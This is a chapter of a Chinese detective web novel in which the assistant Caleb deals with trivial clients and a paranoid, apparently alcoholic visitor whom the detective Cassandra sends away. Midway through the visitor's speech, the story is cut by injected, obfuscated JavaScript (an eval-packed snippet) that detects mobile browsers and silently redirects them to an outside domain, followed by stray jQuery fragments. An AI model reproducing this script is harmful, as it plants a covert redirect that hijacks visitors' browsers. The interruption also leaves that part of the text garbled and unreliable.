32. 助手新上任

作品:《侦探转职嫌疑人

    第二天早上八点四十七分迦勒提前摁响了莫里斯街13号的门铃。


    在等待开门的期间他还是有些不真实感:万一诺曼小姐又后悔了呢?万一现在她还没醒呢?万一昨天的一切都是我的幻想呢?


    但是很快,属于赫柏的和蔼可亲的脸从门后露了出来。早已和卡桑德拉聊过天,知道她雇佣了迦勒作为助手的赫柏对迦勒的出现并不意外。


    “哎呀,费尔德先生,您来的可真早,快进来吧。”


    她热情地邀请迦勒进门,帮他脱去外套,又亲切地关怀:“吃过早饭了吗?我给您也准备了一份早餐。”


    热情得迦勒有些招架不住。


    “多谢多谢,我自己来吧。我吃过早餐了,呃...”看着赫柏有些失落的神情,迦勒改口,“其实我觉得我还能再吃一份。”


    “那可太好了!”赫柏喜笑颜开。


    餐桌上,煎得焦脆脆的培根还在滋滋冒油;金黄色的太阳蛋外缘焦褐,蛋黄柔嫩,一戳还会流动;盘中一串番茄被烤的软烂,对半切开的蘑菇吸饱了汁水。篮子里还有几片厚厚的松软的白吐司,边上放着可搭配的果酱。再摆上一杯醇厚的早茶,一顿丰盛的早餐就摆在眼前。


    “这也太丰盛了吧,您的厨艺真好。”迦勒感叹,与之对比他早上匆匆吃下的烤面包可以称得上索然无味。


    “您先吃,我把这一份早餐送上楼去。”厨艺得到认可的赫柏自然开心,随后她摆了几碟早餐放到餐盘上就要端给三楼的卡桑德拉。


    “我帮您吧。”迦勒想要接过她手中的餐盘。


    “不用。”赫柏一个闪身,稳稳当当地端着早餐走了。


    留下迦勒对着过于丰盛的早餐大眼瞪小眼。


    饱餐过后,就要面对残忍的现实了。


    十点,门口悄无声息。


    十一点,阿波罗下楼叼了趟报纸,又飞回楼上递给卡桑德拉。


    十二点,在赫柏的邀请下迦勒留下来吃了顿美味且量大的午餐,和他共餐的只有阿波罗一鸟。


    下午一点,迦勒无聊到已经在看卡桑德拉留在楼下的书籍了,卡桑德拉终于露面了。


    她从楼梯走下来,手里拿着早上送到的报纸,穿着一件淡银蓝色的连衣裙,裙子剪裁立体没有过多的装饰,外头罩着一件有着宽大袖子的袍子。


    “下午好啊约翰,早上过得怎么样?”


    卡桑德拉将报纸随意丢到会客厅的桌上,突如其来的动静吓了沉浸在书籍里的迦勒一跳。


    他几乎是跳起来和卡桑德拉打招呼,被卡桑德拉摁住了。


    “托您的福,还不错。”迦勒有些干巴巴地回。


    “那就好。”卡桑德拉展开报纸坐在沙发上,好像房间里没有第二个人一样。


    迦勒也只能坐回去,一边看书,一边观察卡桑德拉。


    他还有点不适应这种相处模式。


    就在卡桑德拉下楼后的半个小时,沉寂了一早上的门铃响了。


    被【咨询费一小时十镑】压制住的牛鬼蛇神们在立牌撤掉后热血回归。接下来的三、四个小时来访的人络绎不绝,都是来找诺曼侦探的。


    “侦探?诺曼侦探在这里吗?”


    为了方便,赫柏干脆将门打开,方便访客来访。


    卡桑德拉则假装自己不存在,换个角落逗鸟去了,留下“职场新人”迦勒独揽大活,度过了痛苦的下半天。


    “我是侦探助手,有什么事您可以先和我讲。”


    迦勒幻想中的侦探生涯是智斗盗贼,勇擒罪犯,而现实生活却是一地鸡毛蒜皮,毕竟侦探前面还有“私家”两个字。


    “帮我跟踪一个人。”


    “这...违法的吧?”


    “你不就干这行的吗!算了,你有那种渠道吗?就那个,那个。”


    “先生,我要报警了。”


    “我年轻的时候,曾在泰晤士河边遇到过一位女士。”


    “所以现在?”


    “但很可惜我没有勇气上去搭话,我希望你能帮我找到她。”


    “这...”


    “我找不到我的戒指了。那是我的结婚戒指,被我妻子发现我会完蛋的。”


    “您还记得最后一次见到那枚戒指是在什么时候吗?”


    “不记得了。”


    “戒指长什么样?”


    “呃...大概是个金戒指。”


    “您是为什么要把戒指摘下来?


    “问那么多干嘛?快帮我找啊!”


    这都什么人啊?送走最后一个委托人后,迦勒有些崩溃,放下拿在手里也不知道到底都记了点什么的本子,双手插在头发里深深叹息。


    赫柏适时地为即将崩溃的迦勒端上来一杯茶:“喝口茶吧,费尔德先生。”


    “哦,谢谢,维格斯女士。您太客气了,叫我迦勒就好。”迦勒抬手接过茶杯,洁净的骨瓷里面盛着清亮的茶汤,浓郁的红茶香沁人心脾,抿上一口令人心情都舒畅了不少,“您泡茶的手艺还是一样的好。”


    “您喜欢就好。”赫柏和善地笑了一下,又带着些调侃地看着迦勒,“这行不好干吧。”


    “是啊,也不知道诺曼小姐是怎么办到的。”迦勒附和,但很快又打起精神,“我会努力的。”


    而他口中的卡桑德拉则在另一边岁月静好。


    “阿波罗,打个招呼。”


    “呱。”


    “不对,说你好,你——好——。”


    “你好。”阿波罗的眼睛眨了一下,随后属于卡桑德拉的声音从它的鸟嘴中冒出。


    卡桑德拉满意地笑了:“真聪明,阿波罗。”


    “那么聪明的阿波罗。”卡桑德拉幽幽地说,“能告诉我这群奇怪的人都是从哪冒出来的吗?”


    阿波罗:“你好。”


    它只是一只有点聪明的渡鸦罢了,哪里会知道这个。


    “我觉得有人要害我!”


    就在三人一鸟各忙各的时候,门外突然来了个神色慌张的男人,刚一进门就大声嚷嚷着有人要害他,把几人都引出来了。


    卡桑德拉架着鸟凉凉地说:“我这门牌上也没写苏格兰场啊。”


    何止,甚至没写侦探事务所,但还是有人来找侦探。


    来人长得不太好看,颧骨高耸,嘴角下垂,鼻子看起来有些红彤彤的,手抖个不停,说急了还会咳两声。


    “我!咳咳,嗬——我去过警局,没用!我听说这有个很厉害的侦探。”


    迦勒关切地说:“要不您进来说?”


    “厉害的侦探”卡桑德拉默许了。


    就算是坐到沙发上,男人还是神经质地左顾右盼,手一刻也没停止地微微颤抖,卡桑德拉注意到他的指尖有些发黄。


    他说:“我最近老是感


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389200|183122||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    觉背后有人跟着,就连我睡觉的时候也能感到窗外有人盯着我。”


    迦勒精神一振,终于要来个案子了?


    卡桑德拉淡淡地瞟了他一眼,这人在兴奋什么?


    两个男人在那边一问一答不亦乐乎。


    一个问有什么怀疑的证据?


    一个答感觉。


    一个问有怀疑的对象吗?


    一个答很多。


    卡桑德拉有点看不下去了。她打断了两人融洽但毫无信息量的一问一答


    “你要是能把烟酒戒了就会发现根本没人在跟踪你。”她对着男人说,“不然下次再见到你就得在精神病院。”


    她一向对这种人没什么好感。


    “约翰,送客。”


    “可是我我真感觉有人在跟着我!咳咳咳——”男人边嚷嚷边咳嗽,“而且你是咳谁!我在和侦探说事呢,你来插什么嘴!”


    “其实,”迦勒弱弱地说,“她才是侦探,我是助手。”


    “什么!一个女人?”男人非常没有素质地嚷嚷,“怪不得你什么都看不出来。”


    他这会儿已经不提厉害的侦探了,开始人身攻击。


    这谁能忍?


    迦勒强硬地把他“请”了出去,临走前这男人还在强调真的有人跟踪他。


    “抱歉。”迦勒又在对卡桑德拉道歉。


    “多听多看,少道歉。”卡桑德拉懒得生气,“下次别放这种酒鬼进来。”


    “您是怎么知道的?”


    “用眼睛看的。”卡桑德拉回,“他的手一直在抖,不是有病就是酒精依赖。但是他的年龄又不大,而且指尖焦黄一看就是个烟鬼,那就脱不离喝酒了。这种酒喝多了的人脑子多少都有点问题。”


    “以后看到这种人离远点,不然被咬了都要不到赔款。”她最后总结。


    迦勒叹为观止。


    果然还是得把牌子重新立回去,不然什么人都来这里,这是什么公共厕所吗?卡桑德拉想。


    而且,她扫了一眼迦勒,本来以为这人幸运值那么高会少点难缠的人,结果...她撇撇嘴,还不是一样。


    她完全没有反思是不是自己幸运值太低,连80的幸运值都抵挡不住,毕竟她没下来的早上风平浪静。


    完全不内耗的侦探已经在琢磨换一个助手了。


    “赫柏。”她问,“你想当侦探吗?”


    赫柏笑眯眯地回:“我老啦,记性也不够好。”


    “乱说。”


    被嫌弃的迦勒逃过一劫,躲过了换助手风波。只能说傻人有傻福。


    于是卡桑德拉又把立牌树了回去,只是秉持着薄利多销以及现在多了个冤大头的心态,她把价格下调到了两英镑。


    效果显著,来的人少多了,并且来的都是手里有点小钱的人。只是这种人同样难缠,还不会浪费一分一厘,一定要待到接近一小时才走。


    一周过去,迦勒很快就能转行去做心理辅导了。


    唯一的好处就是赚的钱也还行,并且还能吃到赫柏做的三餐。


    而时间也在渐渐向着八月一号靠近。


    不过对卡桑德拉来说也没差,她一开始就不想去那个婚礼,这会儿已经把那件事抛之脑后了。


    不过罗克珊小姐既然是一个能一个月来她这里咨询三次,还愿意掏十英镑的有钱犟种,她是不会那么轻易放弃的。